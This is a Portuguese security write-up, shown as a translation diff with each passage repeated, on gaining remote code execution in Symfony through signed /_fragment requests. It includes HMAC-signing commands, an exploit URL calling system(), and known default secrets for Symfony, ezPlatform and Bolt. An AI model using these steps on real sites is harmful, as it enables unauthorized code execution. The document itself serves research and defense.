## Executando código com a ajuda de `secret` <a href="#executing-code-with-the-help-of-secret" id="executing-code-with-the-help-of-secret"></a>
|
||||||
|
|
||||||
Demonstraremos primeiro como um invasor, tendo conhecimento do valor de configuração `secret`, pode obter a execução de código. Isso é feito para a última versão do `symfony/http-kernel`, mas é semelhante para outras versões.
|
Primeiro demonstraremos como um atacante, tendo conhecimento do valor de configuração `secret`, pode obter execução de código. Isso é feito para a última versão de `symfony/http-kernel`, mas é semelhante para outras versões.
|
||||||
|
|
||||||
### Usando `/_fragment` para executar código arbitrário <a href="#using-_fragment-to-run-arbitrary-code" id="using-_fragment-to-run-arbitrary-code"></a>
|
### Usando `/_fragment` para executar código arbitrário <a href="#using-_fragment-to-run-arbitrary-code" id="using-_fragment-to-run-arbitrary-code"></a>
|
||||||
|
|
||||||
|
@ -50,157 +48,157 @@ Como mencionado anteriormente, faremos uso da página `/_fragment`.
|
||||||
|
|
||||||
class FragmentListener implements EventSubscriberInterface
|
class FragmentListener implements EventSubscriberInterface
|
||||||
{
|
{
|
||||||
public function onKernelRequest(RequestEvent $event)
|
public function onKernelRequest(RequestEvent $event)
|
||||||
{
|
{
|
||||||
$request = $event->getRequest();
|
$request = $event->getRequest();
|
||||||
|
|
||||||
# [1]
|
# [1]
|
||||||
if ($this->fragmentPath !== rawurldecode($request->getPathInfo())) {
|
if ($this->fragmentPath !== rawurldecode($request->getPathInfo())) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
if ($request->attributes->has('_controller')) {
|
if ($request->attributes->has('_controller')) {
|
||||||
// Is a sub-request: no need to parse _path but it should still be removed from query parameters as below.
|
// Is a sub-request: no need to parse _path but it should still be removed from query parameters as below.
|
||||||
$request->query->remove('_path');
|
$request->query->remove('_path');
|
||||||
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
# [2]
|
# [2]
|
||||||
if ($event->isMasterRequest()) {
|
if ($event->isMasterRequest()) {
|
||||||
$this->validateRequest($request);
|
$this->validateRequest($request);
|
||||||
}
|
}
|
||||||
|
|
||||||
# [3]
|
# [3]
|
||||||
parse_str($request->query->get('_path', ''), $attributes);
|
parse_str($request->query->get('_path', ''), $attributes);
|
||||||
$request->attributes->add($attributes);
|
$request->attributes->add($attributes);
|
||||||
$request->attributes->set('_route_params', array_replace($request->attributes->get('_route_params', []), $attributes));
|
$request->attributes->set('_route_params', array_replace($request->attributes->get('_route_params', []), $attributes));
|
||||||
$request->query->remove('_path');
|
$request->query->remove('_path');
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
`FragmentListener:onKernelRequest` será executado em cada solicitação: se o caminho da solicitação for `/_fragment` \[1\], o método primeiro verificará se a solicitação é válida (_ou seja_, devidamente assinada) e lançará uma exceção caso contrário \[2\]. Se as verificações de segurança forem bem-sucedidas, ele analisará o parâmetro `_path` codificado na URL e definirá os atributos `$request` de acordo.
|
`FragmentListener:onKernelRequest` será executado em cada solicitação: se o caminho da solicitação for `/_fragment` \[1], o método verificará primeiro se a solicitação é válida (_ou seja_, devidamente assinada) e, caso contrário, gerará uma exceção \[2]. Se as verificações de segurança forem bem-sucedidas, ele analisará o parâmetro `_path` codificado na URL e definirá os atributos de `$request` de acordo.
|
||||||
|
|
||||||
Os atributos da solicitação não devem ser confundidos com os parâmetros da solicitação HTTP: eles são valores internos, mantidos pelo Symfony, que geralmente não podem ser especificados por um usuário. Um desses atributos de solicitação é `_controller`, que especifica qual controlador do Symfony (uma tupla _(classe, método)_ ou simplesmente uma _função_) deve ser chamado. Atributos cujo nome não começa com `_` são argumentos que serão fornecidos ao controlador. Por exemplo, se quiséssemos chamar este método:
|
Os atributos de solicitação não devem ser confundidos com parâmetros de solicitação HTTP: são valores internos, mantidos pelo Symfony, que geralmente não podem ser especificados por um usuário. Um desses atributos de solicitação é `_controller`, que especifica qual controlador do Symfony (uma tupla _(classe, método)_ ou simplesmente uma _função_) deve ser chamado. Atributos cujo nome não começa com `_` são argumentos que serão fornecidos ao controlador. Por exemplo, se quiséssemos chamar este método:
|
||||||
```php
|
```php
|
||||||
class SomeClass
|
class SomeClass
|
||||||
{
|
{
|
||||||
public function someMethod($firstMethodParam, $secondMethodParam)
|
public function someMethod($firstMethodParam, $secondMethodParam)
|
||||||
{
|
{
|
||||||
...
|
...
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Nós definimos `_path` como:
|
Definiríamos `_path` para:
|
||||||
|
|
||||||
`_controller=SomeClass::someMethod&firstMethodParam=test1&secondMethodParam=test2`
|
`_controller=SomeClass::someMethod&firstMethodParam=test1&secondMethodParam=test2`
|
||||||
|
|
||||||
A solicitação ficaria assim:
|
A requisição ficaria assim:
|
||||||
|
|
||||||
`http://symfony-site.com/_fragment?_path=_controller%3DSomeClass%253A%253AsomeMethod%26firstMethodParam%3Dtest1%26secondMethodParam%3Dtest2&_hash=...`
|
`http://symfony-site.com/_fragment?_path=_controller%3DSomeClass%253A%253AsomeMethod%26firstMethodParam%3Dtest1%26secondMethodParam%3Dtest2&_hash=...`
|
||||||
|
|
||||||
Essencialmente, isso permite chamar qualquer função ou método de qualquer classe, com qualquer parâmetro. Dada a infinidade de classes que o Symfony possui, **obter a execução de código é trivial**. Podemos, por exemplo, chamar `system()`:
|
Essencialmente, isso permite chamar qualquer função ou método de qualquer classe, com qualquer parâmetro. Dada a infinidade de classes que o Symfony possui, **conseguir execução de código é trivial**. Podemos, por exemplo, chamar `system()`:
|
||||||
|
|
||||||
`http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=...`
|
`http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=...`
|
||||||
|
|
||||||
_Chamar o sistema nem sempre funcionará: consulte a seção de exploração para obter mais detalhes sobre as sutilezas da exploração._
|
_Chamar system não funcionará todas as vezes: consulte a seção Exploit para mais detalhes sobre as sutilezas da exploração._
|
||||||
|
|
||||||
Um problema permanece: como o Symfony verifica a assinatura da solicitação?
|
Um problema permanece: como o Symfony verifica a assinatura da requisição?
|
||||||
|
|
||||||
### Assinando a URL <a href="#signing-the-url" id="signing-the-url"></a>
|
### Assinando a URL <a href="#signing-the-url" id="signing-the-url"></a>
|
||||||
|
|
||||||
Para verificar a assinatura de uma URL, um HMAC é calculado em relação à URL _completa_. O hash obtido é então comparado com o especificado pelo usuário.
|
Para verificar a assinatura de uma URL, um HMAC é calculado contra a _URL completa_. O hash obtido é então comparado com o especificado pelo usuário.
|
||||||
|
|
||||||
Em termos de código, isso é feito em dois pontos:
|
Em termos de código, isso é feito em dois locais:
|
||||||
```php
|
```php
|
||||||
# ./vendor/symfony/http-kernel/EventListener/FragmentListener.php
|
# ./vendor/symfony/http-kernel/EventListener/FragmentListener.php
|
||||||
|
|
||||||
class FragmentListener implements EventSubscriberInterface
|
class FragmentListener implements EventSubscriberInterface
|
||||||
{
|
{
|
||||||
protected function validateRequest(Request $request)
|
protected function validateRequest(Request $request)
|
||||||
{
|
{
|
||||||
// is the Request safe?
|
// is the Request safe?
|
||||||
if (!$request->isMethodSafe()) {
|
if (!$request->isMethodSafe()) {
|
||||||
throw new AccessDeniedHttpException();
|
throw new AccessDeniedHttpException();
|
||||||
}
|
}
|
||||||
|
|
||||||
// is the Request signed?
|
// is the Request signed?
|
||||||
if ($this->signer->checkRequest($request)) {
|
if ($this->signer->checkRequest($request)) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
# [3]
|
# [3]
|
||||||
throw new AccessDeniedHttpException();
|
throw new AccessDeniedHttpException();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
# ./vendor/symfony/http-kernel/UriSigner.php
|
# ./vendor/symfony/http-kernel/UriSigner.php
|
||||||
|
|
||||||
class UriSigner
|
class UriSigner
|
||||||
{
|
{
|
||||||
public function checkRequest(Request $request): bool
|
public function checkRequest(Request $request): bool
|
||||||
{
|
{
|
||||||
$qs = ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : '';
|
$qs = ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : '';
|
||||||
|
|
||||||
// we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering)
|
// we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering)
|
||||||
return $this->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().$qs);
|
return $this->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().$qs);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Checks that a URI contains the correct hash.
|
* Checks that a URI contains the correct hash.
|
||||||
*
|
*
|
||||||
* @return bool True if the URI is signed correctly, false otherwise
|
* @return bool True if the URI is signed correctly, false otherwise
|
||||||
*/
|
*/
|
||||||
public function check(string $uri)
|
public function check(string $uri)
|
||||||
{
|
{
|
||||||
$url = parse_url($uri);
|
$url = parse_url($uri);
|
||||||
if (isset($url['query'])) {
|
if (isset($url['query'])) {
|
||||||
parse_str($url['query'], $params);
|
parse_str($url['query'], $params);
|
||||||
} else {
|
} else {
|
||||||
$params = [];
|
$params = [];
|
||||||
}
|
}
|
||||||
|
|
||||||
if (empty($params[$this->parameter])) {
|
if (empty($params[$this->parameter])) {
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
$hash = $params[$this->parameter];
|
$hash = $params[$this->parameter];
|
||||||
unset($params[$this->parameter]);
|
unset($params[$this->parameter]);
|
||||||
|
|
||||||
# [2]
|
# [2]
|
||||||
return hash_equals($this->computeHash($this->buildUrl($url, $params)), $hash);
|
return hash_equals($this->computeHash($this->buildUrl($url, $params)), $hash);
|
||||||
}
|
}
|
||||||
|
|
||||||
private function computeHash(string $uri): string
|
private function computeHash(string $uri): string
|
||||||
{
|
{
|
||||||
# [1]
|
# [1]
|
||||||
return base64_encode(hash_hmac('sha256', $uri, $this->secret, true));
|
return base64_encode(hash_hmac('sha256', $uri, $this->secret, true));
|
||||||
}
|
}
|
||||||
|
|
||||||
private function buildUrl(array $url, array $params = []): string
|
private function buildUrl(array $url, array $params = []): string
|
||||||
{
|
{
|
||||||
ksort($params, SORT_STRING);
|
ksort($params, SORT_STRING);
|
||||||
$url['query'] = http_build_query($params, '', '&');
|
$url['query'] = http_build_query($params, '', '&');
|
||||||
|
|
||||||
$scheme = isset($url['scheme']) ? $url['scheme'].'://' : '';
|
$scheme = isset($url['scheme']) ? $url['scheme'].'://' : '';
|
||||||
$host = isset($url['host']) ? $url['host'] : '';
|
$host = isset($url['host']) ? $url['host'] : '';
|
||||||
$port = isset($url['port']) ? ':'.$url['port'] : '';
|
$port = isset($url['port']) ? ':'.$url['port'] : '';
|
||||||
$user = isset($url['user']) ? $url['user'] : '';
|
$user = isset($url['user']) ? $url['user'] : '';
|
||||||
$pass = isset($url['pass']) ? ':'.$url['pass'] : '';
|
$pass = isset($url['pass']) ? ':'.$url['pass'] : '';
|
||||||
$pass = ($user || $pass) ? "$pass@" : '';
|
$pass = ($user || $pass) ? "$pass@" : '';
|
||||||
$path = isset($url['path']) ? $url['path'] : '';
|
$path = isset($url['path']) ? $url['path'] : '';
|
||||||
$query = isset($url['query']) && $url['query'] ? '?'.$url['query'] : '';
|
$query = isset($url['query']) && $url['query'] ? '?'.$url['query'] : '';
|
||||||
$fragment = isset($url['fragment']) ? '#'.$url['fragment'] : '';
|
$fragment = isset($url['fragment']) ? '#'.$url['fragment'] : '';
|
||||||
|
|
||||||
return $scheme.$user.$pass.$host.$port.$path.$query.$fragment;
|
return $scheme.$user.$pass.$host.$port.$path.$query.$fragment;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Em resumo, o Symfony extrai o parâmetro GET `_hash`, em seguida, reconstrói a URL completa, por exemplo, `https://symfony-site.com/_fragment?_path=controller%3d...%26argument1=test%26...`, calcula um HMAC a partir desta URL usando o `secret` como chave \[1], e compara com o valor de hash fornecido \[2]. Se eles não coincidirem, uma exceção `AccessDeniedHttpException` é gerada \[3], resultando em um erro `403`.
|
Em resumo, o Symfony extrai o parâmetro GET `_hash`, reconstrói a URL completa, por exemplo `https://symfony-site.com/_fragment?_path=controller%3d...%26argument1=test%26...`, calcula um HMAC desta URL usando o `secret` como chave \[1], e compara-o com o valor de hash fornecido \[2]. Se eles não coincidirem, uma exceção `AccessDeniedHttpException` é levantada \[3], resultando em um erro `403`.
|
||||||
|
|
||||||
### Exemplo <a href="#example" id="example"></a>
|
### Exemplo <a href="#example" id="example"></a>
|
||||||
|
|
||||||
Para testar isso, vamos configurar um ambiente de teste e extrair o segredo (neste caso, gerado aleatoriamente).
|
Para testar isso, vamos configurar um ambiente de teste e extrair o secret (neste caso, gerado aleatoriamente).
|
||||||
```
|
```
|
||||||
$ git clone https://github.com/symfony/skeleton.git
|
$ git clone https://github.com/symfony/skeleton.git
|
||||||
$ cd skeleton
|
$ cd skeleton
|
||||||
|
@ -211,94 +209,94 @@ APP_SECRET=50c8215b436ebfcc1d568effb624a40e
|
||||||
$ cd public
|
$ cd public
|
||||||
$ php -S 0:8000
|
$ php -S 0:8000
|
||||||
```
|
```
|
||||||
Agora, visitando `http://localhost:8000/_fragment` retorna um `403`. Vamos tentar fornecer uma assinatura válida:
|
Agora, ao visitar `http://localhost:8000/_fragment`, obtemos um `403`. Vamos agora tentar fornecer uma assinatura válida:
|
||||||
```
|
```
|
||||||
$ php -r "echo(urlencode(base64_encode(hash_hmac('sha256', 'http://localhost:8000/_fragment', '50c8215b436ebfcc1d568effb624a40e', 1))) . PHP_EOL);"
|
$ php -r "echo(urlencode(base64_encode(hash_hmac('sha256', 'http://localhost:8000/_fragment', '50c8215b436ebfcc1d568effb624a40e', 1))) . PHP_EOL);"
|
||||||
lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm%2FcmFOh8%3D
|
lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm%2FcmFOh8%3D
|
||||||
```
|
```
|
||||||
Ao verificar `http://localhost:8000/_fragment?_hash=lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm%2FcmFOh8%3D`, agora temos um código de status `404`. A assinatura estava correta, mas não especificamos nenhum atributo de solicitação, então o Symfony não encontra nosso controlador.
|
Ao verificar `http://localhost:8000/_fragment?_hash=lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm%2FcmFOh8%3D`, agora temos um código de status `404`. A assinatura estava correta, mas não especificamos nenhum atributo de requisição, então o Symfony não encontra nosso controlador.
|
||||||
|
|
||||||
Como podemos chamar qualquer método, com qualquer argumento, podemos, por exemplo, escolher `system($command, $return_value)`, e fornecer um payload assim:
|
Uma vez que podemos chamar qualquer método, com qualquer argumento, podemos, por exemplo, escolher `system($command, $return_value)` e fornecer um payload assim:
|
||||||
```
|
```
|
||||||
$ page="http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull"
|
$ page="http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull"
|
||||||
$ php -r "echo(urlencode(base64_encode(hash_hmac('sha256', '$page', '50c8215b436ebfcc1d568effb624a40e', 1))) . PHP_EOL);"
|
$ php -r "echo(urlencode(base64_encode(hash_hmac('sha256', '$page', '50c8215b436ebfcc1d568effb624a40e', 1))) . PHP_EOL);"
|
||||||
GFhQ4Hr1LIA8mO1M%2FqSfwQaSM8xQj35vPhyrF3hvQyI%3D
|
GFhQ4Hr1LIA8mO1M%2FqSfwQaSM8xQj35vPhyrF3hvQyI%3D
|
||||||
```
|
```
|
||||||
Agora podemos visitar a URL de exploração: `http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=GFhQ4Hr1LIA8mO1M%2FqSfwQaSM8xQj35vPhyrF3hvQyI%3D`.
|
Podemos agora visitar a URL do exploit: `http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=GFhQ4Hr1LIA8mO1M%2FqSfwQaSM8xQj35vPhyrF3hvQyI%3D`.
|
||||||
|
|
||||||
Apesar do erro `500`, podemos ver que **nosso comando foi executado**.
|
Apesar do erro `500`, podemos ver que **nosso comando foi executado**.
|
||||||
|
|
||||||
_RCE usando fragmento_
|
_RCE usando fragment_
|
||||||
|
|
||||||
![1](https://www.ambionics.io/images/symfony-secret-fragment/1.png)
|
![1](https://www.ambionics.io/images/symfony-secret-fragment/1.png)
|
||||||
|
|
||||||
## Encontrando segredos <a href="#finding-secrets" id="finding-secrets"></a>
|
## Encontrando segredos <a href="#finding-secrets" id="finding-secrets"></a>
|
||||||
|
|
||||||
Novamente: tudo isso não importaria se os segredos não fossem obtidos. Muitas vezes, eles são. Descreveremos várias maneiras de obter a execução de código sem nenhum conhecimento prévio.
|
Novamente: nada disso importaria se os segredos não pudessem ser obtidos. Muitas vezes, eles podem. Descreveremos várias maneiras de obter execução de código sem conhecimento prévio.
|
||||||
|
|
||||||
### Através de vulnerabilidades <a href="#through-vulnerabilities" id="through-vulnerabilities"></a>
|
### Através de vulnerabilidades <a href="#through-vulnerabilities" id="through-vulnerabilities"></a>
|
||||||
|
|
||||||
Vamos começar com o óbvio: usando vulnerabilidades de baixo impacto para obter o segredo.
|
Vamos começar com o óbvio: usar vulnerabilidades de menor impacto para obter o segredo.
|
||||||
|
|
||||||
#### Leitura de arquivo <a href="#file-read" id="file-read"></a>
|
#### Leitura de arquivo <a href="#file-read" id="file-read"></a>
|
||||||
|
|
||||||
Evidentemente, uma vulnerabilidade de leitura de arquivo poderia ser usada para ler os seguintes arquivos e obter o `segredo`:
|
Evidentemente, uma vulnerabilidade de leitura de arquivo poderia ser usada para ler os seguintes arquivos e obter `secret`:
|
||||||
|
|
||||||
* `app/config/parameters.yml`
|
* `app/config/parameters.yml`
|
||||||
* `.env`
|
* `.env`
|
||||||
|
|
||||||
_Como exemplo, algumas barras de ferramentas de depuração do Symfony permitem a leitura de arquivos._
|
_Como exemplo, algumas barras de ferramentas de depuração do Symfony permitem ler arquivos._
|
||||||
|
|
||||||
#### PHPinfo <a href="#phpinfo" id="phpinfo"></a>
|
#### PHPinfo <a href="#phpinfo" id="phpinfo"></a>
|
||||||
|
|
||||||
Nas versões recentes do Symfony (3.x), o `segredo` é armazenado em `.env` como `APP_SECRET`. Uma vez que é então importado como uma variável de ambiente, eles podem ser vistos através de uma página `phpinfo()`.
|
Nas versões recentes do symfony (3.x), `secret` é armazenado em `.env` como `APP_SECRET`. Uma vez que é importado como uma variável de ambiente, eles podem ser vistos através de uma página `phpinfo()`.
|
||||||
|
|
||||||
_Vazando APP\_SECRET através do phpinfo_
|
_Vazamento de APP\_SECRET através de phpinfo_
|
||||||
|
|
||||||
![2](https://www.ambionics.io/images/symfony-secret-fragment/2.png)
|
![2](https://www.ambionics.io/images/symfony-secret-fragment/2.png)
|
||||||
|
|
||||||
Isso pode ser feito principalmente através do pacote de perfil do Symfony, como demonstrado pela captura de tela.
|
Isso pode ser feito notavelmente através do pacote profiler do Symfony, como demonstrado pela captura de tela.
|
||||||
|
|
||||||
#### SSRF / IP spoofing (CVE-2014-5245) <a href="#ssrf-ip-spoofing-cve-2014-5245" id="ssrf-ip-spoofing-cve-2014-5245"></a>
|
#### SSRF / IP spoofing (CVE-2014-5245) <a href="#ssrf-ip-spoofing-cve-2014-5245" id="ssrf-ip-spoofing-cve-2014-5245"></a>
|
||||||
|
|
||||||
O código por trás do `FragmentListener` evoluiu ao longo dos anos: até a versão _2.5.3_, quando a solicitação vinha de um proxy confiável (leia-se: `localhost`), ela seria considerada segura e, como tal, o hash não seria verificado. Um SSRF, por exemplo, pode permitir a execução imediata de código, independentemente de ter ou não o `segredo`. Isso afeta principalmente o eZPublish até 2014.7.
|
O código por trás do `FragmentListener` evoluiu ao longo dos anos: até a versão _2.5.3_, quando a solicitação vinha de um proxy confiável (leia-se: `localhost`), ela seria considerada segura e, como tal, o hash não seria verificado. Um SSRF, por exemplo, pode permitir executar código imediatamente, independentemente de ter `secret` ou não. Isso afeta notavelmente o eZPublish até 2014.7.
|
||||||
```php
|
```php
|
||||||
# ./vendor/symfony/symfony/src/Symfony/Component/HttpKernel/EventListener/FragmentListener.php
|
# ./vendor/symfony/symfony/src/Symfony/Component/HttpKernel/EventListener/FragmentListener.php
|
||||||
# Symfony 2.3.18
|
# Symfony 2.3.18
|
||||||
|
|
||||||
class FragmentListener implements EventSubscriberInterface
|
class FragmentListener implements EventSubscriberInterface
|
||||||
{
|
{
|
||||||
protected function validateRequest(Request $request)
|
protected function validateRequest(Request $request)
|
||||||
{
|
{
|
||||||
// is the Request safe?
|
// is the Request safe?
|
||||||
if (!$request->isMethodSafe()) {
|
if (!$request->isMethodSafe()) {
|
||||||
throw new AccessDeniedHttpException();
|
throw new AccessDeniedHttpException();
|
||||||
}
|
}
|
||||||
|
|
||||||
// does the Request come from a trusted IP?
|
// does the Request come from a trusted IP?
|
||||||
$trustedIps = array_merge($this->getLocalIpAddresses(), $request->getTrustedProxies());
|
$trustedIps = array_merge($this->getLocalIpAddresses(), $request->getTrustedProxies());
|
||||||
$remoteAddress = $request->server->get('REMOTE_ADDR');
|
$remoteAddress = $request->server->get('REMOTE_ADDR');
|
||||||
if (IpUtils::checkIp($remoteAddress, $trustedIps)) {
|
if (IpUtils::checkIp($remoteAddress, $trustedIps)) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
// is the Request signed?
|
// is the Request signed?
|
||||||
// we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering)
|
// we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering)
|
||||||
if ($this->signer->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().(null !== ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : ''))) {
|
if ($this->signer->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().(null !== ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : ''))) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
throw new AccessDeniedHttpException();
|
throw new AccessDeniedHttpException();
|
||||||
}
|
}
|
||||||
|
|
||||||
protected function getLocalIpAddresses()
|
protected function getLocalIpAddresses()
|
||||||
{
|
{
|
||||||
return array('127.0.0.1', 'fe80::1', '::1');
|
return array('127.0.0.1', 'fe80::1', '::1');
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Admitidamente, todas essas técnicas requerem outra vulnerabilidade. Vamos mergulhar em um vetor ainda melhor: valores padrão.
|
Admitidamente, todas essas técnicas requerem outra vulnerabilidade. Vamos explorar um vetor ainda melhor: valores padrão.
|
||||||
|
|
||||||
### Através de valores padrão <a href="#através-de-valores-padrão" id="através-de-valores-padrão"></a>
|
### Através de valores padrão <a href="#through-default-values" id="through-default-values"></a>
|
||||||
|
|
||||||
#### Symfony <= 3.4.43: `ThisTokenIsNotSoSecretChangeIt` <a href="#symfony-3443-thistokenisnotsosecretchangeit" id="symfony-3443-thistokenisnotsosecretchangeit"></a>
|
#### Symfony <= 3.4.43: `ThisTokenIsNotSoSecretChangeIt` <a href="#symfony-3443-thistokenisnotsosecretchangeit" id="symfony-3443-thistokenisnotsosecretchangeit"></a>
|
||||||
|
|
||||||
|
@ -308,21 +306,21 @@ _Instalação do Symfony através do composer_
|
||||||
|
|
||||||
![3](https://www.ambionics.io/images/symfony-secret-fragment/3.png)
|
![3](https://www.ambionics.io/images/symfony-secret-fragment/3.png)
|
||||||
|
|
||||||
Em versões posteriores (4+), a chave secreta é gerada com segurança.
|
Nas versões posteriores (4+), a chave secreta é gerada de forma segura.
|
||||||
|
|
||||||
#### ezPlatform 3.x (mais recente): `ff6dc61a329dc96652bb092ec58981f7` <a href="#ezplatform-3x-latest-ff6dc61a329dc96652bb092ec58981f7" id="ezplatform-3x-latest-ff6dc61a329dc96652bb092ec58981f7"></a>
|
#### ezPlatform 3.x (atual): `ff6dc61a329dc96652bb092ec58981f7` <a href="#ezplatform-3x-latest-ff6dc61a329dc96652bb092ec58981f7" id="ezplatform-3x-latest-ff6dc61a329dc96652bb092ec58981f7"></a>
|
||||||
|
|
||||||
[ezPlatform](https://ezplatform.com), o sucessor do [ezPublish](https://en.wikipedia.org/wiki/EZ\_Publish), ainda usa o Symfony. Em 10 de junho de 2019, um [commit](https://github.com/ezsystems/ezplatform/commit/974f2a70d9d0507ba7ca17226693b1a4967f23cf#diff-f579cccc964135c7d644c7b2d3b0d3ecR59) definiu a chave padrão como `ff6dc61a329dc96652bb092ec58981f7`. As versões vulneráveis variam de 3.0-alpha1 a 3.1.1 (atual).
|
[ezPlatform](https://ezplatform.com), o sucessor do [ezPublish](https://en.wikipedia.org/wiki/EZ\_Publish), ainda utiliza Symfony. Em 10 de junho de 2019, um [commit](https://github.com/ezsystems/ezplatform/commit/974f2a70d9d0507ba7ca17226693b1a4967f23cf#diff-f579cccc964135c7d644c7b2d3b0d3ecR59) definiu a chave padrão como `ff6dc61a329dc96652bb092ec58981f7`. As versões vulneráveis vão de 3.0-alpha1 até 3.1.1 (atual).
|
||||||
|
|
||||||
Embora a [documentação](https://doc.ezplatform.com/en/latest/getting\_started/install\_ez\_platform/#change-installation-parameters) afirme que a chave secreta deve ser alterada, isso não é obrigatório.
|
Embora a [documentação](https://doc.ezplatform.com/en/latest/getting\_started/install\_ez\_platform/#change-installation-parameters) afirme que o segredo deve ser alterado, isso não é imposto.
|
||||||
|
|
||||||
#### ezPlatform 2.x: `ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt` <a href="#ezplatform-2x-thisezplatformtokenisnotsosecret_pleasechangeit" id="ezplatform-2x-thisezplatformtokenisnotsosecret_pleasechangeit"></a>
|
#### ezPlatform 2.x: `ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt` <a href="#ezplatform-2x-thisezplatformtokenisnotsosecret_pleasechangeit" id="ezplatform-2x-thisezplatformtokenisnotsosecret_pleasechangeit"></a>
|
||||||
|
|
||||||
Assim como o esqueleto do Symfony, você será solicitado a inserir uma chave secreta durante a instalação. O valor padrão é `ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt`.
|
Como no esqueleto do Symfony, você será solicitado a inserir um segredo durante a instalação. O valor padrão é `ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt`.
|
||||||
|
|
||||||
#### Bolt CMS <= 3.7 (mais recente): `md5(__DIR__)` <a href="#bolt-cms-37-latest-md5__dir__" id="bolt-cms-37-latest-md5__dir__"></a>
|
#### Bolt CMS <= 3.7 (atual): `md5(__DIR__)` <a href="#bolt-cms-37-latest-md5__dir__" id="bolt-cms-37-latest-md5__dir__"></a>
|
||||||
|
|
||||||
O [Bolt CMS](https://bolt.cm) usa o [Silex](https://github.com/silexphp/Silex), um micro-framework obsoleto baseado no Symfony. Ele configura a chave secreta usando este cálculo:
|
[Bolt CMS](https://bolt.cm) utiliza [Silex](https://github.com/silexphp/Silex), um micro-framework obsoleto baseado em Symfony. Ele configura a chave secreta usando este cálculo:
|
||||||
```php
|
```php
|
||||||
# ./vendor/silex/silex/src/Silex/Provider/HttpFragmentServiceProvider.php
|
# ./vendor/silex/silex/src/Silex/Provider/HttpFragmentServiceProvider.php
|
||||||
$app['uri_signer.secret'] = md5(__DIR__);
|
$app['uri_signer.secret'] = md5(__DIR__);
|
||||||
|
@ -330,36 +328,36 @@ $app['uri_signer.secret'] = md5(__DIR__);
|
||||||
# ./vendor/silex/silex/src/Silex/Provider/FormServiceProvider.php
|
# ./vendor/silex/silex/src/Silex/Provider/FormServiceProvider.php
|
||||||
$app['form.secret'] = md5(__DIR__);
|
$app['form.secret'] = md5(__DIR__);
|
||||||
```
|
```
|
||||||
Assim, é possível adivinhar o segredo ou usar uma vulnerabilidade de Divulgação de Caminho Completo para calculá-lo.
|
Como tal, pode-se adivinhar o segredo ou usar uma vulnerabilidade de Divulgação Completa do Caminho para calculá-lo.
|
||||||
|
|
||||||
Se você não teve sucesso com as chaves secretas padrão, não desanime: existem outras maneiras.
|
Se você não teve sucesso com chaves secretas padrão, não desanime: existem outras maneiras.
|
||||||
|
|
||||||
### Força bruta <a href="#bruteforce" id="bruteforce"></a>
|
### Bruteforce <a href="#bruteforce" id="bruteforce"></a>
|
||||||
|
|
||||||
Como o segredo geralmente é definido manualmente (em vez de gerado aleatoriamente), as pessoas costumam usar uma frase secreta em vez de um valor aleatório seguro, o que o torna suscetível a ataques de força bruta se tivermos um hash para atacar. Obviamente, uma URL válida `/_fragment`, como a gerada pelo Symfony, nos forneceria uma tupla de mensagem-hash válida para atacar o segredo.
|
Uma vez que o segredo é frequentemente definido manualmente (ao contrário de gerado aleatoriamente), as pessoas costumam usar uma frase-senha em vez de um valor aleatório seguro, o que o torna passível de bruteforce se tivermos um hash para realizar o bruteforce contra ele. Obviamente, uma URL válida `/_fragment`, como uma gerada pelo Symfony, nos forneceria uma tupla de mensagem-hash válida para realizar o bruteforce do segredo.
|
||||||
|
|
||||||
_Uma solicitação válida ao fragmento está incluída na resposta_
|
_Uma solicitação válida para fragmento está incluída na resposta_
|
||||||
|
|
||||||
![4](https://www.ambionics.io/images/symfony-secret-fragment/4.png)
|
![4](https://www.ambionics.io/images/symfony-secret-fragment/4.png)
|
||||||
|
|
||||||
No início deste post, dissemos que o segredo do Symfony tinha vários usos. Um desses usos é que ele também é usado para gerar tokens CSRF. Outro uso de `secret` é assinar cookies de lembrança. Em alguns casos, um invasor pode usar seu próprio token CSRF ou cookie de lembrança para atacar o valor de `secret`.
|
